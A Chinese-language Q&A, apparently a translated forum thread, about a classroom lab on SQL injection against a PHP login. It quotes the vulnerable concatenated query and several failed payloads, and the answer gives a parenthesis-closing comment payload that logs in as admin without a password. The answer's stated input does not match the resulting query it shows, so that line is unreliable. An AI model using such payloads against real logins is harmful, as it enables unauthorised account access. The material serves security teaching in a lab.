我们正在课堂上的实验室工作,我似乎无法找到我所缺少的东西。以下代码是用于验证用户的SQL查询:
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender,
FROM USERS_TABLE
WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");
$chk = mysql_fetch_array($sel1);
if (found one record)
then {allow the user to login}
我们应该找到一个我认为存在的SQL注入漏洞:
WHERE (name = ’$user’ OR email = ’$user’) AND pass = ’$pass’");
要利用它,我们基本上应该使用非常通用的用户名和密码表单登录网站上的管理员资料。给定的信息是我们知道配置文件名称是admin。我们应该只利用网站上的用户名条目。
阅读以下文章Security Idiots以及Georgia Weidman撰写的一本书 Penetration Testing The Hands-On Introduction to Hacking 中的一节。这些是我尝试的一些事情:
还有更多变化。我的理解是,我正在选择完成该部分的管理员资料,其中包含"'"然后强制为true并杀死该行上的其余代码。但是,我尝试的任何东西似乎都没有用。
同样重要的是要注意,对于本实验,我们有特殊配置的虚拟机,允许此攻击工作。
我是在正确的轨道上还是我不理解SQL注入攻击背后的逻辑。我不一定在寻找我正在寻找的代码是什么,但我担心我会朝着错误的方向前进并且错过了一些东西。
非常感谢任何帮助。我很乐意详细说明任何事情。 谢谢。
答案 0 :(得分:0)
感谢Azi指出空间问题。
你应该破解的SQL是
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = '$user' OR email = '$user') AND pass = '$pass'
admin' OR 1--
,admin'--
,admin' AND 1=1--
中的任何一个都无效,因为当user
变量被这些输入替换时,语句变为
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin' OR 1-- ' OR email = '$user') AND pass = '$pass'
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin'-- ' OR email = ’$user’) AND pass = ’$pass’
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin' AND 1=1-- ' OR email = ’$user’) AND pass = ’$pass’
所有这些都是语法错误,因为打开的括号(
未关闭
当你给admin'--
(在输入结尾处给出空格很重要)时,输入语句变为
SELECT ID, name, locale, lastlogin, gender
FROM USERS_TABLE
WHERE (name = 'admin')-- ' OR email = ’$user’) AND pass = ’$pass’"
SQL没有语法错误,将选择名称为admin的记录。